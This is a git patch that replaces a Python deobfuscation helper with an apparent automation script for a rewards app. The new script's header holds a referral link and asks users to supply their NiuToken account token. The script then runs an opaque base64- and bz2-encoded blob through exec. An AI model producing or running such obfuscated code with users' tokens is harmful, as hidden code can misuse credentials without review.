From 68f8fe9fd5df70b6dd74ec4fefe4b7fba41d2e8e Mon Sep 17 00:00:00 2001 From: smallfawn <101914820+smallfawn@users.noreply.github.com> Date: Fri, 28 Jun 2024 15:38:59 +0800 Subject: [PATCH] Update input.py --- input.py | 167 ++++++++++++++----------------------------------------- 1 file changed, 41 insertions(+), 126 deletions(-) diff --git a/input.py b/input.py index 09269eadc..850fa35ed 100644 --- a/input.py +++ b/input.py @@ -1,126 +1,41 @@ -import base64 -import bz2 -import zlib -import lzma -import gzip -from datetime import datetime -#from Crypto.Cipher import AES -#from cryptography.fernet import Fernet -#from Crypto.Cipher import ChaCha20 -# 获取当前日期和时间 -now = datetime.now() - -# 将日期和时间格式化为字符串 -formatted_date = now.strftime("%Y-%m-%d %H:%M:%S") - - -def try_decompress(data): - try: - decompressed_data = gzip.decompress(data) - return decompressed_data - except Exception as e: - pass - # 尝试使用 bz2 解压缩 - try: - decompressed_data = bz2.decompress(data) - # print("使用 bz2 解压缩成功") - return decompressed_data - except Exception as e: - pass - # 尝试使用 zlib 解压缩 - try: - decompressed_data = zlib.decompress(data) - # print("使用 zlib 解压缩成功") - return decompressed_data - except Exception as e: - pass - # 尝试使用 lzma 解压缩 - try: - decompressed_data = lzma.decompress(data) - # print("使用 lzma 解压缩成功") - return decompressed_data - except Exception as e: - pass - # 如果无法解压缩,则返回原始数据 - return data - - -def try_decode_base64(data): - try: - decoded_data = base64.b64decode(data) - # print("使用 base64 解码成功") - return decoded_data - except Exception as e: - pass - # 如果无法解码,则返回原始数据 - return data - - -def extract_base64_encoded(data): - # 查找 base64.b64decode( 的起始位置 - start_idx = data.find("base64.b64decode(") - if start_idx == -1: - return None # 如果未找到目标字符串,返回 None - # 查找 ' 的位置,从 base64.b64decode( 后面开始找 - quote_idx = data.index("'", start_idx + len("base64.b64decode(")) - # 提取 'XXXX' 中的 XXXX 部分 - encoded_string = data[quote_idx + 1:data.index("'", quote_idx + 1)] - return encoded_string - - -def Encoded_script_decode(data): - - return - - -def decrypt_nested(data): - while True: - new_data = try_decode_base64(data) - # print("解密前的数据:", data) - new_data = try_decompress(new_data) - # print("解密后的数据:", new_data) - if "exec(" in str(new_data): - # 更新 decrypted_data 以便下一次循环使用 - if "Encoded script" in str(new_data): - new_data = "该加密未适配 敬请期待" - print("该加密未适配 敬请期待") - break - elif "exec(" in str(new_data): - data = extract_base64_encoded(str(new_data)) - else: - print("未知 加密 无法进一步解密") - new_data = "未知 加密 无法进一步解密" - break # 如果 new_data 中不再包含 "exec",跳出循环 - # print(data) - else: - print("无法进一步解密,退出循环") - break # 如果 new_data 中不再包含 "exec",跳出循环 - - return new_data # 返回最终解密后的数据 - - -with open('./input.py', 'r', encoding='utf-8') as file: - # 读取文件内容 - content = file.read().strip() - # 打印内容 - encoded_data = extract_base64_encoded(content) - # print(encoded_data) -# 解密嵌套加密数据 -final_decrypted_data = decrypt_nested(encoded_data) -# 输出最终解密结果 -# print("最终解密结果:") -def process_data(data): - if isinstance(data, str): - # 如果是字符串,则编码为字节对象 - byte_data = data.encode('utf-8') - elif isinstance(data, bytes): - # 如果已经是字节对象,则直接使用 - byte_data = data - else: - # 如果不是字符串也不是字节对象,抛出异常或做其他处理 - raise TypeError("Expected string or bytes-like object") - return byte_data - -print(final_decrypted_data) -with open("./onputPy.py", 'wb') as f: - f.write(process_data("#")+process_data(formatted_date)+process_data("\n")+process_data(final_decrypted_data)) +# --------------------------------注释&变量区-------------------------------- +# 入口 https://app.zhuanbang.net/invite/7079 +# 找请求头中NiuToken的值 +# NiuToken=**** 只要**** NiuToken=不要填 NiuToken=不要填 NiuToken=不要填 +# 变量名:yuanshen_zb 多号@分割 +# --------------------------------一般不动区-------------------------------- +# _ooOoo_ +# o8888888o +# 88" . "88 +# (| -_- |) +# O\ = /O +# ____/`---'\____ +# . ' \\| |// `. +# / \\||| : |||// \ +# / _||||| -:- |||||- \ +# | | \\\ - /// | | +# | \_| ''\---/'' | | +# \ .-\__ `-` ___/-. / +# ___`. .' /--.--\ `. . __ +# ."" '< `.___\_<|>_/___.' >'"". +# | | : `- \`.;`\ _ /`;.`/ - ` : | | +# \ \ `-. \_ __\ /__ _/ .-` / / +# ======`-.____`-.___\_____/___.-`____.-'====== +# `=---=' +# +# ............................................. +# 佛祖保佑 永无BUG +# 佛祖镇楼 BUG辟邪 +#佛曰: +# 写字楼里写字间,写字间里程序员; +# 程序人员写程序,又拿程序换酒钱。 +# 酒醒只在网上坐,酒醉还来网下眠; +# 酒醉酒醒日复日,网上网下年复年。 +# 但愿老死电脑间,不愿鞠躬老板前; +# 奔驰宝马贵者趣,公交自行程序员。 +# 别人笑我忒疯癫,我笑自己命太贱; +# 不见满街漂亮妹,哪个归得程序员? +# +# --------------------------------代码区-------------------------------- +import bz2, base64 +exec(bz2.decompress(base64.b64decode('QlpoOTFBWSZTWUcoEC8ACybfgEAQQO3/4j////A////wYBO/V33vvvnD3r3X3tc3b3PuyWzXoXsM73a757va+9jz6fXXffc9de+aXd7efPp3b1a9rczvdwn2e+9vc9F2a4yqn/kwJgEMCZGmBNMANNDIVSYRjKqf+mAABMAAEwBkAE0qmENDqb2pphGAmmU8TNDI0mTT0TAJp6qNADKp/iYBNMTaYgEwAmmBT0yZPSpAAyp+JqeTMmhlMp4k9MU8JtJgKemm1MKh6gCqqf7EGkwieCYAT0mmTBMmJphJE0PUIBQ/9sE8/vycBIMC9L/mtyj0BswKn9v1E/iQ73kl/2LiqgaVdTvyW6JZyeIO4Myc7Sh+WbySgBvxOdueaitaOHuP+oq+eUWlaP4jYi8mr/6l/Il/+Lp0TXVW/VdQmz4CyIqxGiM7AZMACN6tdj8foVPL2L9B/Dcu79WqmG+h+QNpcsGFRXSr/ohXRoEg/rj8MLwRku2FVLPUC9wDFWN8yruNkXpi3O1RBbDJWXt4blrpXhgD2HbzjUARl9H+d8qFK4Sr3gDbyM1wJwmOFpIpf+d3tUpFegSV693LtCjbAjOgS7eMZ2WMonqKqr7CZsXXToNlysLiwy8Zt/6C9u8edvQYsBRdCkEYNkqKle9rEMxDm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